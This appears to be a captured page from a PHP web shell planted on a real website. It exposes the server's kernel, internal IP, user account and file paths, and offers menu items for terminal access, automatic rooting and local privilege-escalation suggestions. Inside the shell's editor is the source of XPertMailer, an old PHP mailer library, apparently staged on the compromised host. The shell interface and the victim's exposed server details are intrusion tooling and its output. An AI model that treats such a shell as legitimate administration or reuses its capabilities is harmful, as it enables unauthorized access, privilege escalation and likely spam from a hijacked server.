Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
Mailer /
includes /
Delete
Unzip
Name
Size
Permission
Date
Action
.Index.txt
235
B
-rw-r--r--
2008-01-09 06:28
XPertMailer.php
53.98
KB
-rw-r--r--
2023-01-09 12:55
globals.php
1.23
KB
-rw-r--r--
2025-06-25 11:37
Save
Rename
<?php /* * ************************************************************************************* * XPertMailer Version 1.4.4 Stable - 3/10/2006 5:47 PM * * * * This file is part of the XPertMailer package (http://xpertmailer.sourceforge.net/) * * * * XPertMailer is free software; you can redistribute it and/or modify it under the * * terms of the GNU General Public License as published by the Free Software * * Foundation; either version 2 of the License, or (at your option) any later version. * * * * XPertMailer is distributed in the hope that it will be useful, but WITHOUT ANY * * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A * * PARTICULAR PURPOSE. See the GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License along with * * XPertMailer; if not, write to the Free Software Foundation, Inc., 51 Franklin St, * * Fifth Floor, Boston, MA 02110-1301 USA * * * * XPertMailer php functions class. Sends e-mail message in MIME type format. * * Copyright (C) 2006 Tanase Laurentiu Iulian * * * * ************************************************************************************* */ if (!defined('PRINT_ERROR')) define('PRINT_ERROR', true); if (isset($_CONSTS_NAME) && PRINT_ERROR) trigger_error("Variable '\$_CONSTS_NAME' it is already defined", 256); if (isset($_NAME_CONSTS) && PRINT_ERROR) trigger_error("Variable '\$_NAME_CONSTS' it is already defined", 256); if (isset($_VALUE_CONST) && PRINT_ERROR) trigger_error("Variable '\$_VALUE_CONST' it is already defined", 256); $_CONSTS_NAME = array( 'SMTP_LOCAL' => 1, 'SMTP_CLIENT' => 2, 'SMTP_LOCAL_CLIENT' => 3, 'SMTP_CLIENT_LOCAL' => 4, 'SMTP_RELAY' => 5, 'SMTP_RELAY_CLIENT' => 6, 'SMTP_CLIENT_RELAY' => 7, 'AUTH_DETECT' => 1, 'AUTH_LOGIN' => 2, 'AUTH_PLAIN' => 3, 'MX_FALSE' => false, 'MX_TRUE' => true, 'ATTACH_HTML_IMG' => 1, 'ATTACH_FILE' => 2, 'P_LOW' => 1, 'P_NORMAL' => 2, 'P_HIGH' => 3, 'SSL_FALSE' => false, 'SSL_TRUE' => true, 'CRLF' => "\r\n", 'IS_WIN' => (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') ); foreach ($_CONSTS_NAME as $_NAME_CONSTS => $_VALUE_CONST) { if (defined($_NAME_CONSTS)) { if (PRINT_ERROR) trigger_error("The constant '" . $_NAME_CONSTS . "' it is already defined", 256); } else define($_NAME_CONSTS, $_VALUE_CONST); } class XPertMailer { var $_setsmtp = 3; var $_pnumber = 25; var $_porelay = 25; var $_timeout = 30; var $_setarrh; var $_attc1st; var $_attc2nd; var $_subject; var $_fromadr; var $_sslconn = false; var $_fromail = false; var $_fromnam = false; var $_partmix; var $_part1st; var $_part2nd; var $_wheaders; var $_wmessage; var $_wattachs; var $_msgsplit; var $_authuser; var $_authpass; var $_relayset; var $_authsets = false; var $_priority = false; var $_charset = "ISO-8859-1"; var $response = "unknow"; function XPertMailer($smtp = 3, $relay = false) { if (is_int($smtp) && $smtp >= 1 && $smtp <= 7) { if ($smtp >= 5) { if (!$relay) { if (PRINT_ERROR) trigger_error("The relay host name or ip address is not set on class XPertMailer->constructor", 512); } else { if (is_string($relay) && trim($relay) != "") { $this->_setsmtp = $smtp; $this->_relayset = $relay; } elseif (PRINT_ERROR) trigger_error("Invalid relay host name or ip address on class XPertMailer->constructor", 512); } } else $this->_setsmtp = $smtp; } elseif (PRINT_ERROR) trigger_error("Invalid SMTP connection preference value on class XPertMailer->constructor", 512); $this->_setarrh = $this->_attc1st = $this->_attc2nd = $this->_msgsplit = array(); } function timeout($tmout) { if (is_int($tmout)) $this->_timeout = $tmout; elseif (PRINT_ERROR) trigger_error("Invalid parameter type on class XPertMailer->timeout()", 512); } function auth($user, $pass, $type = 1, $vssl = false, $prelay = 25) { if (is_string($user) && is_string($pass) && !empty($user) && !empty($pass)) { $this->_authuser = $user; $this->_authpass = $pass; if (is_int($type) && ($type == 1 || $type == 2 || $type == 3)) $this->_authsets = $type; else { $this->_authsets = 1; if (PRINT_ERROR) trigger_error("Invalid 3'rd auth parameter type on class XPertMailer->auth()", 512); } if (is_bool($vssl)) { if ($vssl) { if (extension_loaded('openssl')) { $this->_sslconn = true; if (is_int($prelay)) $this->_porelay = $prelay; elseif (PRINT_ERROR) trigger_error("Invalid TSL/SSL port number value on class XPertMailer->auth()", 512); } elseif (PRINT_ERROR) trigger_error("Your PHP don't have SSL support on class XPertMailer->auth()", 512); } } elseif (PRINT_ERROR) trigger_error("Invalid SSL value on class XPertMailer->auth()", 512); } elseif (PRINT_ERROR) trigger_error("Invalid parameter(s) on class XPertMailer->auth()", 512); } function headers($arrh) { if (is_array($arrh) && count($arrh) > 0) { $rebh = array(); foreach ($arrh as $numh => $valh) { if (is_string($numh) && is_string($valh) && !empty($numh) && !empty($valh)) { if (isset($rebh[$numh]) && PRINT_ERROR) trigger_error("Duplicate array key on class XPertMailer->headers()", 1024); $rebh[$numh] = $valh; } elseif (PRINT_ERROR) trigger_error("Invalid array parameter type on class XPertMailer->headers()", 1024); } $this->_setarrh = $rebh; } elseif (PRINT_ERROR) trigger_error("Invalid parameter type on class XPertMailer->headers()", 512); } function _attach_file($attc, $typeatt) { if (is_array($attc) && count($attc) > 0) { $reb1st = $reb2nd = array(); $lst1st = $this->_attc1st; $lst2nd = $this->_attc2nd; foreach ($attc as $numa => $vala) { if (is_string($vala) && !empty($vala)) { if (is_file($vala)) { if (is_readable($vala)) { $nmfile = (is_string($numa) && !empty($numa)) ? $numa : basename($vala); if (isset($reb1st[$nmfile]) || isset($reb2nd[$nmfile]) || isset($lst1st[$nmfile]) || isset($lst2nd[$nmfile])) { if (PRINT_ERROR) trigger_error("Duplicate array key on class XPertMailer->_attach_file()", 1024); } if (strstr($nmfile, '/')) { if (PRINT_ERROR) trigger_error("Do not include path value in the name of the file " . $nmfile . " on class XPertMailer->_attach_file()", 1024); $nmfile = basename($nmfile); } if (!strstr($nmfile, '.')) { if (PRINT_ERROR) trigger_error("File name: " . $nmfile . " doesn't have an extension defined on class XPertMailer->_attach_file()", 1024); } else { $expext = explode(".", $nmfile); if ($expext[count($expext) - 1] != "") { if ($typeatt == 1) $reb1st[$nmfile] = $vala; elseif ($typeatt == 2) $reb2nd[$nmfile] = $vala; } else { if (PRINT_ERROR) trigger_error("File name: " . $nmfile . " doesn't have an extension defined on class XPertMailer->_attach_file()", 1024); } } } elseif (PRINT_ERROR) trigger_error("Can't read file: " . $vala . " on class XPertMailer->_attach_file()", 1024); } elseif (PRINT_ERROR) trigger_error("File: " . $vala . " doesn't exists on class XPertMailer->_attach_file()", 1024); } elseif (PRINT_ERROR) trigger_error("Invalid array parameter type on class XPertMailer->_attach_file()", 1024); } $this->_attc1st = array_merge($lst1st, $reb1st); $this->_attc2nd = array_merge($lst2nd, $reb2nd); } elseif (PRINT_ERROR) trigger_error("Invalid first parameter type on class XPertMailer->_attach_file()", 512); } function attach($arratt, $attype = 2) { if ($attype == 1 || $attype == 2) $this->_attach_file($arratt, $attype); elseif (PRINT_ERROR) trigger_error("Invalid secound parameter type on class XPertMailer->attach()", 512); } function is_mail($addr, $vermx = false) { $ism = false; if (is_string($addr)) { $exp = "^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,6})$"; if (eregi($exp, $addr)) { if ($vermx) { $ret = explode("@", $addr); $mxr = IS_WIN ? $this->_getmxrr_win($ret[1], $mxh) : getmxrr($ret[1], $mxh); if (count($mxh) > 0) { foreach ($mxh as $mxv) { if ($mxv != gethostbyname($mxv)) { $ism = true; break; } } } } else $ism = true; } } elseif (PRINT_ERROR) trigger_error("Invalid first parameter type on class XPertMailer->is_mail()", 512); return $ism; } function _is_connection($connection) { $ret = false; if ($connection && is_resource($connection)) { $status = stream_get_meta_data($connection); if (!$status['timed_out']) $ret = true; } return $ret; } function _sendtoip($ip, $toarr, $relay = false) { $set = true; $pnm = $this->_pnumber; $ssl = ""; if ($relay) { $ssl = $this->_sslconn ? "tls://" : ""; $pnm = $this->_porelay; } if ($connect = fsockopen($ssl . $ip, $pnm, $err_num, $err_msg, $this->_timeout)) { $loop = 0; stream_set_timeout($connect, $this->_timeout); while (!feof($connect)) { $loop++; $rcv = fgets($connect, 1024); if (substr($rcv, 0, 4) != "220-" || $loop === 99) break; } if (substr($rcv, 0, 3) != "220") { $this->response = "Response 2 error: " . $rcv; $set = false; } if ($set) { $relayh = ""; if ($relay && $this->_authsets) { if ($this->_is_connection($connect)) { fputs($connect, "EHLO " . $this->_fromadr . CRLF); $getinfo = ""; $loop = 0; while (!feof($connect)) { $loop++; $rcv = fgets($connect, 1024); $getinfo .= $rcv; if (substr($rcv, 0, 4) != "250-" || $loop === 99) break; } if (substr($rcv, 0, 3) != "250") { $this->response = "Response 30 error: " . $rcv; $set = false; } $authreq = false; if ($this->_authsets == 1) { if (strstr($getinfo, 'LOGIN')) $authreq = "login"; elseif (strstr($getinfo, 'PLAIN')) $authreq = "plain"; } elseif ($this->_authsets == 2) $authreq = "login"; elseif ($this->_authsets == 3) $authreq = "plain"; } else { $this->response = "Response C0 error: Invalid resource connection"; $set = false; } if (!$authreq || $authreq == "login") { if ($set) { if ($this->_is_connection($connect)) { fputs($connect, "AUTH LOGIN" . CRLF); $rcv = fgets($connect, 1024); if (substr($rcv, 0, 3) != "334") { $this->response = "Response 32 error: " . $rcv; $set = false; } } else { $this->response = "Response C1 error: Invalid resource connection"; $set = false; } } if ($set) { if ($this->_is_connection($connect)) { fputs($connect, base64_encode($this->_authuser) . CRLF); $rcv = fgets($connect, 1024); if (substr($rcv, 0, 3) != "334") { $this->response = "Response 33 error: " . $rcv; $set = false; } } else { $this->response = "Response C2 error: Invalid resource connection"; $set = false; } } if ($set) { if ($this->_is_connection($connect)) { fputs($connect, base64_encode($this->_authpass) . CRLF); $rcv = fgets($connect, 1024); if (substr($rcv, 0, 3) != "235") { $this->response = "Response 34 error: " . $rcv; $set = false; } } else { $this->response = "Response C3 error: Invalid resource connection"; $set = false; } } } elseif ($authreq == "plain") { if ($set) { if ($this->_is_connection($connect)) { fputs($connect, "AUTH PLAIN " . base64_encode($this->_authuser . chr(0) . $this->_authuser . chr(0) . $this->_authpass) . CRLF); $rcv = fgets($connect, 1024); if (substr($rcv, 0, 3) != "235") { $this->response = "Response 35 error: " . $rcv; $set = false; } } else { $this->response = "Response C4 error: Invalid resource connection"; $set = false; } } } $relayh = "@" . $this->_relayset . ":"; } else { if ($this->_is_connection($connect)) { fputs($connect, "HELO " . $this->_fromadr . CRLF); $loop = 0; while (!feof($connect)) { $loop++; $rcv = fgets($connect, 1024); if (substr($rcv, 0, 4) != "250-" || $loop === 99) break; } if (substr($rcv, 0, 3) != "250") { $this->response = "Response 31 error: " . $rcv; $set = false; } } else { $this->response = "Response C5 error: Invalid resource connection"; $set = false; } } } if ($set) { if ($this->_is_connection($connect)) { fputs($connect, "MAIL FROM:<" . $this->_fromail . ">" . CRLF); $rcv = fgets($connect, 1024); if (substr($rcv, 0, 3) != "250") { $this->response = "Response 4 error: " . $rcv; $set = false; } } else { $this->response = "Response C6 error: Invalid resource connection"; $set = false; } } if ($set) { foreach ($toarr as $arrval) { if ($set) { if ($this->_is_connection($connect)) { fputs($connect, "RCPT TO:<" . $relayh . $arrval . ">" . CRLF); $rcv = fgets($connect, 1024); if (substr($rcv, 0, 3) != "250") { $this->response = "Response 5 error: " . $rcv; $set = false; } } else { $this->response = "Response C7 error: Invalid resource connection"; $set = false; } } else break; } } if ($set) { if ($this->_is_connection($connect)) { fputs($connect, "DATA" . CRLF); $rcv = fgets($connect, 1024); if (substr($rcv, 0, 3) != "354") { $this->response = "Response 6 error: " . $rcv; $set = false; } } else { $this->response = "Response C8 error: Invalid resource connection"; $set = false; } } if ($set) { foreach ($this->_msgsplit as $partmsg) { if ($this->_is_connection($connect)) fputs($connect, $partmsg); else { $this->response = "Response C9 error: Invalid resource connection"; $set = false; break; } } if ($set) { if ($this->_is_connection($connect)) { fputs($connect, "." . CRLF); $rcv = fgets($connect, 1024); if (substr($rcv, 0, 3) != "250") { $this->response = "Response 7 error: " . $rcv; $set = false; } } else { $this->response = "Response C10 error: Invalid resource connection"; $set = false; } } if ($set) { fputs($connect, "QUIT" . CRLF); if ($rcvs = @fgets($connect, 1024)) $rcv = $rcvs; } } if ($set) $this->response = "Response 8 success: " . $rcv; if ($this->_is_connection($connect)) fclose($connect); } else { $this->response = "Response 1 error: " . $err_msg; $set = false; } return $set; } function _is_ip($ipval) { $retip = false; if (is_string($ipval) && !empty($ipval)) { $expips = explode(".", $ipval); if (count($expips) == 4) { $each = true; foreach ($expips as $number) { $partno = intval($number); if (!($number === strval($partno) && $partno >= 0 && $partno <= 255)) { $each = false; break; } } $retip = $each; } } return $retip; } function _sendtohost($host, $detarr, $toaddh, $hccstr, $hbccstr, $dtmsg, $tpmime, $hrelay = false) { $headstr2 = $this->_header($toaddh, $hccstr, $hbccstr, $this->_subject, $tpmime, true); $this->_msgsplit = $this->_splitmsg($headstr2 . CRLF . CRLF . $dtmsg); if (strtolower($host) == "localhost") { $headstr1 = $this->_header($toaddh, $hccstr, $hbccstr, $this->_subject, $tpmime, false); return mail($toaddh, $this->_subject, $dtmsg, $headstr1) ? true : $this->_sendtoip("127.0.0.1", $detarr); } else { if ($this->_is_ip($host)) return $this->_sendtoip($host, $detarr, $hrelay); else { $retrn = false; $resmx = IS_WIN ? $this->_getmxrr_win($host, $mxhost) : getmxrr($host, $mxhost); $iparr = array(); if ($resmx) { foreach ($mxhost as $hostname) { $iphost = gethostbyname($hostname); if ($hostname != $iphost && $hostname != $host && $this->_is_ip($iphost)) $iparr[] = $iphost; } } else { $iphost = gethostbyname($host); if ($this->_is_ip($iphost)) $iparr[] = $iphost; } if (count($iparr) > 0) { foreach ($iparr as $ipaddr) if ($retrn = $this->_sendtoip($ipaddr, $detarr, $hrelay)) break; } else $this->response = "Hostname '" . $host . "' doesn't have an IP address !"; return $retrn; } } } function _encstring($len = 9) { $encwrd = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; $enclen = strlen($encwrd) - 1; $encids = ""; for ($i = 0; $i < $len; $i++) $encids .= substr($encwrd, rand(0, $enclen)); return $encids; } function _header($tom, $hcc, $hbcc, $subjct, $content, $cntx) { $arr_headers = array(); $fromaddr = $toaddr = false; if (count($this->_setarrh) > 0) { foreach ($this->_setarrh as $hnam => $hval) { if (is_string($hnam) && is_string($hval) && trim($hnam) != "" && trim($hval) != "") { $hnam = str_replace(array("\r\n", "\r", "\n", "\t"), " ", $hnam); $hval = str_replace(array("\r\n", "\r", "\n", "\t"), " ", $hval); $hnam = trim($hnam); $hval = trim($hval); if (strtolower($hnam) == "from") { $expf = explode(" ", $hval); $mfrm = str_replace(array('<', '>', '"'), '', $expf[count($expf) - 1]); if ($this->is_mail($mfrm)) { $fromaddr = $mfrm; $arr_headers['From'] = $hval; } } else { if (!(strtolower($hnam) == "to" || strtolower($hnam) == "subject" || strtolower($hnam) == "cc" || strtolower($hnam) == "bcc")) $arr_headers[$hnam] = $hval; } } elseif (PRINT_ERROR) trigger_error("Invalid header format on class XPertMailer->_setheaders()", 512); } } if (!($fromaddr && $this->_fromail)) { $fromaddr = ini_get('sendmail_from'); if (empty($fromaddr)) { if (isset($_SERVER['SERVER_ADMIN']) && $this->is_mail($_SERVER['SERVER_ADMIN'])) $fromaddr = $_SERVER['SERVER_ADMIN']; elseif (isset($_SERVER['SERVER_NAME'])) $fromaddr = "postmaster@" . $_SERVER['SERVER_NAME']; elseif (isset($_SERVER['HTTP_HOST'])) $fromaddr = "postmaster@" . $_SERVER['HTTP_HOST']; elseif (isset($_SERVER['REMOTE_ADDR'])) $fromaddr = "postmaster@" . $_SERVER['REMOTE_ADDR']; elseif (isset($_SERVER['SERVER_ADDR'])) $fromaddr = "postmaster@" . $_SERVER['SERVER_ADDR']; else $fromaddr = "postmaster@localhost"; } } if (!$this->_fromail) $this->_fromail = $fromaddr; else $fromaddr = $this->_fromail; $expfrom = explode("@", $fromaddr); $this->_fromadr = $expfrom[1]; if (!isset($arr_headers['From'])) { if (IS_WIN && !$cntx) { $inifrom = ini_get('sendmail_from'); if (empty($inifrom)) $arr_headers['From'] = '"' . $fromaddr . '"'; elseif (PRINT_ERROR) trigger_error("From e-mail address can not be set because it is already defined 'sendmail_from' value in php.ini on class XPertMailer->_setheaders()", 512); } else $arr_headers['From'] = ($this->_fromnam ? '"' . $this->_fromnam . '" ' : '') . '<' . $fromaddr . '>'; } if ($cntx) $arr_headers['To'] = $tom; if ($cntx) $arr_headers['Subject'] = $subjct; if (!empty($hcc)) $arr_headers['Cc'] = $hcc; if (!empty($hbcc) && !$cntx) $arr_headers['Bcc'] = $hbcc; $arr_headers['Date'] = date("r"); $arr_headers['MIME-Version'] = '1.0'; if ($content == "text/plain") { $arr_headers['Content-Type'] = 'text/plain; charset="' . $this->_charset . '"'; $arr_headers['Content-Transfer-Encoding'] = '7bit'; } elseif ($content == "multipart/alternative") $arr_headers['Content-Type'] = 'multipart/alternative; boundary="' . $this->_partmix . '"'; elseif ($content == "multipart/related") $arr_headers['Content-Type'] = 'multipart/related; boundary="' . $this->_partmix . '"'; elseif ($content == "multipart/mixed") $arr_headers['Content-Type'] = 'multipart/mixed; boundary="' . $this->_partmix . '"'; $arr_headers['Message-ID'] = "<XPertMailer14." . uniqid(time()) . "@" . $expfrom[1] . ">"; if ($this->_priority) { $arr_headers['X-Priority'] = $this->_priority[1]; $arr_headers['X-MSMail-Priority'] = $this->_priority[0]; } else { if (!isset($arr_headers['X-Priority'])) $arr_headers['X-Priority'] = "3"; if (!isset($arr_headers['X-MSMail-Priority'])) $arr_headers['X-MSMail-Priority'] = "Normal"; } $arr_headers['X-Mailer'] = base64_decode("WFBlcnRNYWlsZXIgMS40IDxodHRwOi8vd3d3LnhwZXJ0bWFpbGVyLmNvbS8+"); $arr_headers['X-MimeOLE'] = base64_decode("UHJvZHVjZWQgQnkgWFBlcnRNYWlsZXIgVjEuNA=="); $retheaders = ""; foreach ($arr_headers as $hname => $hvalue) $retheaders .= $hname . ": " . $hvalue . CRLF; return substr($retheaders, 0, -1 * strlen(CRLF)); } function _to_quoted($input, $arrids = array(), $linemax = 76) { if (count($arrids) > 0) { $find1 = $repl1 = array(); foreach ($arrids as $namefl => $codevl) { $find1[] = "=\"" . $namefl; $repl1[] = "=\"cid:" . $codevl; $find2[] = "=" . $namefl; $repl2[] = "=cid:" . $codevl; } $input = str_replace($find1, $repl1, $input); $input = str_replace($find2, $repl2, $input); } $lines = preg_split("/\r?\n/", $input); $genre = ""; while (list(, $line) = each($lines)) { $linelen = strlen($line); $newline = ""; for ($i = 0; $i < $linelen; $i++) { $char = substr($line, $i, 1); $decd = ord($char); if ($decd == 32 && $i == ($linelen - 1)) $char = "=20"; elseif ($decd == 61 || $decd < 32 || $decd > 126) $char = "=" . strtoupper(sprintf('%02s', dechex($decd))); if ((strlen($newline) + strlen($char)) >= $linemax) { $genre .= $newline . "=" . CRLF; $newline = ""; } $newline .= $char; } $genre .= $newline . CRLF; } return substr($genre, 0, -1 * strlen(CRLF)); } function _splitmsg($longmsg, $approx = 900) { $longmsg = str_replace(array(".\r\n", ".\n", ".\r"), ". " . CRLF, $longmsg); $msgarr = explode(CRLF, $longmsg); $addmsg = ""; $arrmsg = array(); foreach ($msgarr as $inline) { $addmsg .= $inline . CRLF; if (strlen($addmsg) >= $approx) { $arrmsg[] = $addmsg; $addmsg = ""; } } if (count($arrmsg) == 0) $arrmsg[] = $longmsg; else $arrmsg[] = $addmsg; return $arrmsg; } function send($to, $subj, $textmsg, $htmlmsg = false, $charset = false) { $retval = $iserrs = false; $to = str_replace(array("\r\n", "\r", "\n", "\t"), " ", trim($to)); $toexpl = explode(", ", $to); $alldm = $grpto = $verad = $arrvl = array(); foreach ($toexpl as $valto) { $valto = trim($valto); $expadd = explode(" ", $valto); $addsto = str_replace(array("<", ">"), "", $expadd[count($expadd) - 1]); if ($this->is_mail($addsto)) { if (!isset($verad[$addsto])) { $expat = explode("@", $addsto); $verad[$addsto] = true; $grpto[$expat[1]][] = $addsto; $alldm[] = $addsto; $arrvl[] = $valto; } elseif (PRINT_ERROR) trigger_error("Duplicate to e-mail address '" . $addsto . "' on class XPertMailer->send()", 512); } elseif (PRINT_ERROR) trigger_error("Invalid to e-mail address format '" . $addsto . "' on class XPertMailer->send()", 512); } if (!(count($alldm) > 0)) { $iserrs = true; if (PRINT_ERROR) trigger_error("Can not find any valid to e-mail address on class XPertMailer->send()", 512); } if (!is_string($subj)) { $iserrs = true; if (PRINT_ERROR) trigger_error("Invalid subject format on class XPertMailer->send()", 512); } if (!is_string($textmsg)) { $iserrs = true; if (PRINT_ERROR) trigger_error("Invalid text/plain message format on class XPertMailer->send()", 512); } if (!$iserrs) { // 1 $arrcc = $arrbcc = array(); if (count($this->_setarrh) > 0) { foreach ($this->_setarrh as $numhd => $valhd) { $numhd = trim($numhd); $valhd = trim($valhd); if (strtolower($numhd) == "cc") { $expcc = explode(", ", $valhd); foreach ($expcc as $ccadd) { $ccadd = trim($ccadd); $expcvl = explode(" ", $ccadd); $addrcc = str_replace(array("<", ">"), "", $expcvl[count($expcvl) - 1]); if ($this->is_mail($addrcc)) { if (!isset($vercc[$addrcc])) { $vercc[$addrcc] = true; $arrcc[] = array($addrcc, $ccadd); } elseif (PRINT_ERROR) trigger_error("Duplicate Cc e-mail address '" . $addrcc . "' on class XPertMailer->send()", 512); } elseif (PRINT_ERROR) trigger_error("Invalid Cc e-mail address format '" . $addrcc . "' on class XPertMailer->send()", 512); } } elseif (strtolower($numhd) == "bcc") { $expbcc = explode(", ", $valhd); foreach ($expbcc as $bccadd) { $bccadd = trim($bccadd); $expbvl = explode(" ", $bccadd); $addbcc = str_replace(array("<", ">"), "", $expbvl[count($expbvl) - 1]); if ($this->is_mail($addbcc)) { if (!isset($verbcc[$addbcc])) { $verbcc[$addbcc] = true; $arrbcc[] = array($addbcc, $bccadd); } elseif (PRINT_ERROR) trigger_error("Duplicate Bcc e-mail address '" . $addbcc . "' on class XPertMailer->send()", 512); } elseif (PRINT_ERROR) trigger_error("Invalid Bcc e-mail address format '" . $addbcc . "' on class XPertMailer->send()", 512); } } } } $repcc = $repbcc = array(); if (count($arrcc) > 0) { $repcc = array(); foreach ($arrcc as $arrccdat) { $samecc = false; foreach ($alldm as $tovaladd) { if ($arrccdat[0] == $tovaladd) { $samecc = true; if (PRINT_ERROR) trigger_error("The e-mail address '" . $tovaladd . "' appear in 'To' and 'Cc' on class XPertMailer->send()", 512); break; } } if (!$samecc) $repcc[] = $arrccdat; } } if (count($arrbcc) > 0) { $repbcc = array(); foreach ($arrbcc as $arrbccdat) { $samebcc = false; foreach ($alldm as $tovaladd) { if ($arrbccdat[0] == $tovaladd) { $samebcc = true; if (PRINT_ERROR) trigger_error("The e-mail address '" . $tovaladd . "' appear in 'To' and 'Bcc' on class XPertMailer->send()", 512); break; } } if (!$samebcc && count($repcc) > 0) { foreach ($repcc as $toarrcc) { if ($arrbccdat[0] == $toarrcc[0]) { $samebcc = true; if (PRINT_ERROR) trigger_error("The e-mail address '" . $toarrcc[0] . "' appear in 'Cc' and 'Bcc' on class XPertMailer->send()", 512); break; } } } if (!$samebcc) $repbcc[] = $arrbccdat; } } $tostr = $ccstr = $bccstr = ""; foreach ($arrvl as $line) $tostr .= $line . ", "; if (count($repcc) > 0) { foreach ($repcc as $ccline) { $ccstr .= $ccline[1] . ", "; $expcc = explode("@", $ccline[0]); $grpto[$expcc[1]][] = $ccline[0]; $alldm[] = $ccline[0]; } } if (count($repbcc) > 0) { foreach ($repbcc as $bccline) { $bccstr .= $bccline[1] . ", "; $expbcc = explode("@", $bccline[0]); $grpto[$expbcc[1]][] = $bccline[0]; $alldm[] = $bccline[0]; } } $tostr = substr($tostr, 0, -2); if (!empty($ccstr)) $ccstr = substr($ccstr, 0, -2); if (!empty($bccstr)) $bccstr = substr($bccstr, 0, -2); $reptxt = $rephtm = ""; $arrtxt = explode(CRLF, $textmsg); if (count($arrtxt) > 0) { foreach ($arrtxt as $txtval) $reptxt .= str_replace(array("\r", "\n"), CRLF, $txtval) . CRLF; $reptxt = substr($reptxt, 0, -2); } else $reptxt = str_replace(array("\r", "\n"), CRLF, $textmsg); if ($htmlmsg) { if (is_string($htmlmsg)) { $arrhtm = explode(CRLF, $htmlmsg); if (count($arrhtm) > 0) { foreach ($arrhtm as $htmval) $rephtm .= str_replace(array("\r", "\n"), CRLF, $htmval) . CRLF; $rephtm = substr($rephtm, 0, -2); } else $rephtm = str_replace(array("\r", "\n"), CRLF, $htmlmsg); } else { $htmlmsg = false; if (PRINT_ERROR) trigger_error("Invalid HTML message format on class XPertMailer->send()", 512); } } $this->_subject = str_replace(array("\r\n", "\r", "\n", "\t"), " ", $subj); if ($charset) { if (is_string($charset) && !empty($charset)) $this->_charset = str_replace(array("\r\n", "\r", "\n", "\t"), " ", $charset); else { if (PRINT_ERROR) trigger_error("Invalid charset format on class XPertMailer->send()", 512); $charset = $this->_charset; } } else $charset = $this->_charset; $cnt1st = count($this->_attc1st); $cnt2nd = count($this->_attc2nd); $this->_partmix = "=_0XPertMailer14" . $this->_encstring(); $this->_part1st = "=_1XPertMailer14" . $this->_encstring(); $this->_part2nd = "=_2XPertMailer14" . $this->_encstring(); $sendmsg = ""; if (!$htmlmsg) { if ($cnt2nd > 0) { $typmime = "multipart/mixed"; $sendmsg = CRLF . "--" . $this->_partmix . CRLF . "Content-Type: text/plain; charset=\"" . $charset . "\"" . CRLF . "Content-Transfer-Encoding: 7bit" . CRLF . CRLF . $reptxt . CRLF; foreach ($this->_attc2nd as $attname => $attfile) { $content = file_get_contents($attfile); $sendmsg .= "--" . $this->_partmix . CRLF . "Content-Type: " . $this->mimetype($attname) . CRLF . "Content-Transfer-Encoding: base64" . CRLF . "Content-Disposition: attachment; filename=\"" . $attname . "\"" . CRLF . CRLF . chunk_split(base64_encode($content)); } $sendmsg .= "--" . $this->_partmix . "--" . CRLF; } else { $typmime = "text/plain"; $sendmsg = CRLF . $reptxt . CRLF; } } else { if ($cnt1st > 0 && $cnt2nd > 0) { $idsarrs = array(); foreach ($this->_attc1st as $attnamex => $attfilex) $idsarrs[$attnamex] = "CXPertMailer14" . $this->_encstring(); $typmime = "multipart/mixed"; $sendmsg = CRLF . "--" . $this->_partmix . CRLF . "Content-Type: multipart/related; boundary=\"" . $this->_part1st . "\"" . CRLF . CRLF . "--" . $this->_part1st . CRLF . "Content-Type: multipart/alternative; boundary=\"" . $this->_part2nd . "\"" . CRLF . CRLF . "--" . $this->_part2nd . CRLF . "Content-Type: text/plain; charset=\"" . $charset . "\"" . CRLF . "Content-Transfer-Encoding: 7bit" . CRLF . CRLF . $reptxt . CRLF . "--" . $this->_part2nd . CRLF . "Content-Type: text/html; charset=\"" . $charset . "\"" . CRLF . "Content-Transfer-Encoding: quoted-printable" . CRLF . CRLF . $this->_to_quoted($rephtm, $idsarrs) . CRLF . "--" . $this->_part2nd . "--" . CRLF; foreach ($this->_attc1st as $attname1 => $attfile1) { $content1 = file_get_contents($attfile1); $sendmsg .= "--" . $this->_part1st . CRLF . "Content-Type: " . $this->mimetype($attname1) . CRLF . "Content-Transfer-Encoding: base64" . CRLF . "Content-Disposition: inline; filename=\"" . $attname1 . "\"" . CRLF . "Content-ID: <" . $idsarrs[$attname1] . ">" . CRLF . CRLF . chunk_split(base64_encode($content1)); } $sendmsg .= "--" . $this->_part1st . "--" . CRLF; foreach ($this->_attc2nd as $attname2 => $attfile2) { $content2 = file_get_contents($attfile2); $sendmsg .= "--" . $this->_partmix . CRLF . "Content-Type: " . $this->mimetype($attname2) . CRLF . "Content-Transfer-Encoding: base64" . CRLF . "Content-Disposition: attachment; filename=\"" . $attname2 . "\"" . CRLF . CRLF . chunk_split(base64_encode($content2)); } $sendmsg .= "--" . $this->_partmix . "--" . CRLF; } elseif ($cnt1st > 0) { $idsarrs = array(); foreach ($this->_attc1st as $attnamex => $attfilex) $idsarrs[$attnamex] = "CXPertMailer14" . $this->_encstring(); $typmime = "multipart/related"; $sendmsg = CRLF . "--" . $this->_partmix . CRLF . "Content-Type: multipart/alternative; boundary=\"" . $this->_part1st . "\"" . CRLF . CRLF . "--" . $this->_part1st . CRLF . "Content-Type: text/plain; charset=\"" . $charset . "\"" . CRLF . "Content-Transfer-Encoding: 7bit" . CRLF . CRLF . $reptxt . CRLF . "--" . $this->_part1st . CRLF . "Content-Type: text/html; charset=\"" . $charset . "\"" . CRLF . "Content-Transfer-Encoding: quoted-printable" . CRLF . CRLF . $this->_to_quoted($rephtm, $idsarrs) . CRLF . "--" . $this->_part1st . "--" . CRLF; foreach ($this->_attc1st as $attname => $attfile) { $content = file_get_contents($attfile); $sendmsg .= "--" . $this->_partmix . CRLF . "Content-Type: " . $this->mimetype($attname) . CRLF . "Content-Transfer-Encoding: base64" . CRLF . "Content-Disposition: inline; filename=\"" . $attname . "\"" . CRLF . "Content-ID: <" . $idsarrs[$attname] . ">" . CRLF . CRLF . 